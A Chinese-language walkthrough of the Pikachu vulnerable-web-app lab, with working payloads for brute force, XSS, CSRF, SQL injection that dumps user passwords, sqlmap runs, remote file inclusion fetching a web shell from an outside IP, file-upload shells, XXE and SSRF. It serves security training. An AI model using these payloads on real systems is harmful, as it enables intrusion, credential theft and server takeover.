pikachu靶场通关

暴力破解

基于表单的暴力破解

抓包,发送到intruder模块,选中密码,添加payload位置

类型选择简单列表,选一个字典开始爆破

将爆破结果按照响应包长度排序,长度不一样就说明返回内容不一样,一般大概率就是登录成功的包

验证码绕过(on server)

有些服务器后台是不刷新验证码的,经测试只要不手动刷新页面,就不会更改验证码的值,可以先输入验证码之后和上一关一样使用burp抓包爆破

随便输入账号密码,填写正确的验证码,抓包,发送到intruder模块,选中密码,添加payload位置,选择字典开始攻击

按照响应包长度排序,查看响应包,登录成功

验证码绕过(on client)

客户端前端验证输入的验证码,可以直接禁用js然后抓包爆破,或者输入正确的验证码之后再抓包爆破

和上两关一样,随便输入账号密码,填写正确的验证码,抓包,发送到intruder模块,选中密码,添加payload位置,选择字典开始攻击

按照响应包长度排序,查看响应包,登录成功

token防爆破?

抓包发现有token参数,多次重放就会提示token错误。

这似乎可以有效的防止暴力破解,但真的是这样吗?

F12查看页面源码可以发现token参数就在前端页面中显示

抓包,发送到intruder模块,攻击类型要选择交叉攻击,两个payload自行遍历,互不干扰

第一个参数还是正常的密码字典

第二个参数我们需要在payload的设置里面找到 检索提取,点击添加

选中token所在位置,burp会自动生成正则表达式,点击确定

然后开始设置第二个参数,payload类型选递归提取,初始payload就写抓包得到的token,开始攻击

按照响应包长度排序,查看响应包,登录成功

XSS跨站脚本攻击

反射型xss(get)

前端有长度限制,关闭js或者前端修改长度验证,即可绕过

写入XSS语句,成功弹窗

1
<script>alert('XSS')</script>

反射型xss(post)

先按照提示登录进去,再输入XSS语句弹窗

存储型xss

写入XSS语句弹窗,刷新仍然弹窗,切入别的页面再切回来还是会弹窗

DOM型xss

输入的语句在标签中显示的位置如下

先闭合掉a标签,然后写入XSS语句,成功弹窗

1
'><img src=x onerror=alert('XSS')>

xss盲打

写入XSS语句,随便输入一个用户名,什么都没有发生

换了个浏览器,按照提示登录后台发现弹窗

xss之过滤

<script>标签被过滤了,我们可以用<img>标签来绕过

1
<img src=x onerror=alert('XSS')>

xss之htmlspecialchars

specialchars函数会把单引号,双引号,尖括号过滤了

输入框的值会成为a标签的href属性,使用javascript语句绕过

1
javascript:alert(1)

xss之href输出

输入XSS语句,检查源码发现尖括号和引号被编码了

使用javascript语句绕过

1
javascript:alert(1)

xss之js输出

先闭合掉<script>标签,然后输入XSS语句

1
</script><script>alert('XSS')</script>

CSRF 跨站请求伪造

CSRF(get)

按照提示的账号密码登录

抓一个修改个人信息的包,右键生成CSRF POC

我们这里更改手机号为88888888,复制html,另存为1.html

打开点击提交请求按钮

可以看到手机号已经被修改了

CSRF(post)

和上面一样的操作,先抓包,右键生成CSRF POC,这里把电话号码修改为00000000000

复制html,另存为2.html,相同浏览器打开,点击提交请求按钮。手机号就被修改了

CSRF Token login

在请求地址中增加一个Token, 在每次前端与后端进行数据交互时后台都要对这个随机码进行验证, 就可以防御CSRF攻击

在修改信息处F12可以看到前端新增加了token参数,无法进行csrf攻击

SQL注入

数字型注入

sql注入一般是要测试注入类型的,但是本题已经告诉你是什么注入了,直接开始测

使用order by来测字段,测试payload如下

1
2
id=1 order by 2#			//正常回显
id=1 order by 3# //报错

测试发现有两个字段,然后用select语句看回显位,两个字段都会有回显

1
id=1 union select 1,2##

查数据库和版本

1
id=1 union select database(),version()#

查数据库的所有表名

1
id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'

查看user表的所有字段名

1
id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'

查看用户名和密码的字段数据

1
id=-1 union select group_concat(username),group_concat(password) from users

字符型注入

单引号测试,没报错,说明闭合符号为单引号

1
1' or 1=1#

后续就按照数字型注入的流程就能注入成功了

1
2
3
爆表名:-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'#
爆字段名:-1' union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'#
爆字段数据:-1' union select group_concat(username),group_concat(password) from users#

搜索型注入

使用%闭合前面,测字段发现有三个字段且都能回显,然后还是使用上面的方法注入

1
2
3
爆表名:%-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='pikachu'#
爆字段名:%-1' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='pikachu' and table_name='users'#
爆字段数据:%-1' union select group_concat(username),group_concat(password),3 from users#

xx型注入

闭合符号变成了’),其他还是同样操作

1
2
3
爆表名:-1') union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'#
爆字段名:-1') union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'#
爆字段数据:-1') union select group_concat(username),group_concat(password) from users#

insert,update注入

可以使用报错注入来爆出数据

1
2
3
4
爆数据库:123' and (updatexml(1,concat(0x5c,database(),0x5c),1)) and '   
爆表名:123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1)) and '
爆字段名:123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name ='users'),0x5c),1)) and '
爆字段内容:123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin') b),0x5c),1)) and '

delete注入

还可以用报错注入来爆出数据,需要在留言板先写入数据,在删除的时候抓包,修改id参数实现注入

1
2
3
4
爆数据库:123 or (updatexml(1,concat(0x5c,database(),0x5c),1))
爆表名:123 or (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))
爆字段名:123 or (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name ='users'),0x5c),1))
爆字段内容:123 or (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin') b),0x5c),1))

http header注入

登入后发现在页面显示了用户的请求头信息

在UA头输入测试语句,页面有报错,说明存在注入

在UA头处使用报错注入payload爆出数据

1
2
3
4
爆数据库:123' and (updatexml(1,concat(0x5c,database(),0x5c),1)) and '   
爆表名:123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1)) and '
爆字段名:123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name ='users'),0x5c),1)) and '
爆字段内容:123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin') b),0x5c),1)) and '

基于布尔的盲注

盲注建议使用sqlmap来跑,成功爆出所有数据库

1
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --dbs

基于时间的盲注

同样使用sqlmap来跑,成功爆出所有数据库

1
python sqlmap.py -u "http://pikachu/vul/sqli/sqli_blind_t.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --dbs

宽字节注入

如果数据库使用了gbk编码,可以采用宽字节注入。

%df’传入url里时会进行一次url编码,但是先替换,也就是先变成%df\‘编码为%df%5c%27,再转回来,但是由于使用了gbk编码,会将前两个字节自动转化为汉字%df%5c就会自动转换为汉字,从而绕过\

1
2
3
爆数据库:-1%df' union select 1,database() --+
爆表名:-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段名:-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=-0x7573657273--+

RCE命令执行

exec “ping”

使用管道符绕过,命令执行成功

exec “eval”

eval函数将字符串当作php代码解析执行,system命令执行成功

文件包含

先在pikachu网站根目录写下flag.txt文件,把他当作要读取的目标文件目标文件,之后的所有题目都用的此文件

本地文件包含

利用相对路径读取到flag文件,当然实际情况下相对路径就是猜的

远程文件包含

我们在自己服务器上写一个木马,在这里远程包含我们的木马文件,然后通过蚁剑连接,以此来getshell

在自己的云服务器上写个木马文件的txt,试着访问一下可以成功

然后filename参数传入远程文件地址,包含远程文件,并把文件当成php来执行

1
http://pikachu/vul/fileinclude/fi_remote.php?filename=http://120.27.156.43:1234/shell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

写入成功后蚁剑连接,连接成功

文件下载

抓一个下载的包,修改需要下载的文件名

放包,成功下载到flag.txt文件

文件上传

前端检验

上传一个一句话木马,发现有前端校验

删除前端校验函数,上传一句话木马,上传成功

蚁剑连接,连接成功

MIME验证

修改Content-Type字段为image/jpeg绕过验证

蚁剑连接,连接成功

图片马上传

思路:getimagesize()函数校验图片信息,所以只能通过上传图片马然后配合前面的文件包含漏洞解析

首先上传图片马,上传成功

利用本地文件包含,弄清楚相对路径,成功解析图片马

1
http://pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/09/18/30425466eae40bf1b1c866835894.png&&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

蚁剑连接,连接成功

越权漏洞

水平越权

先按照提示选择一个账户登录,查看个人信息

1
http://pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF

发现用户名在url中显示,尝试修改用户名为别的用户,例如lili

1
http://pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#

页面回显出lili的信息,实现水平越权

垂直越权

查看提示,发现有两个用户,一个管理员用户,一个普通用户

先登录管理员用户,发现可以添加任意用户

点击添加用户,将添加用户的url复制下来

1
http://pikachu/vul/overpermission/op2/op2_admin_edit.php

退出管理员用户,登录普通账户,可以看到只有查看权限

我们将刚复制的url粘贴覆盖这个url,我们就以普通用户的身份登录到了管理员后台

尝试添加用户aaa,可以看到用户添加成功,实现垂直越权

目录遍历

随便点击文件,发现参数后面直接把文件名称暴露出来,可以利用相对路径以及文件名称来读取任意文件

还是利用上文写的文件 flag.txt

猜测相对路径,成功读取到flag.txt

1
http://pikachu/vul/dir/dir_list.php?title=../../../flag.txt

敏感信息泄露

ctrl+U查看网站源码,发现有泄露出来的账号密码

成功登录测试 用户

PHP反序列化

由于题目没有任何利用函数,我们尝试序列化xss语句来弹窗达到利用目的

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$payload = new S();
$payload->test = "<script>alert('xss')</script>";
echo serialize($payload);

# O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

XXE漏洞

后台没有对变量接收的xml数据进行安全判断就直接进行xml解析, 从而导致xxe漏洞

如下代码所示, 利用file伪协议读取flag.txt文件

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY rabbit SYSTEM "file:///D:/phpstudy_pro/WWW/pikachu/flag.txt" >

]>
<user>&rabbit;</user>

成功读取

URL重定向

点击最后一句话,url栏出现url参数

我们可以构造参数值跳转到参数网站

1
?url=http://www.baidu.com

成功跳转

SSRF服务端请求伪造

ssrf(curl)

可以看到url参数读取的是本地的info1.php

我们可以构造url参数为任意服务器本地文件,读取pikachu根目录flag.txt文件

1
http://pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/flag.txt

成功读取到flag.txt文件

ssrf(file_get_content)

这关可以配合php伪协议来读取文件

base64解码得到flag.txt文件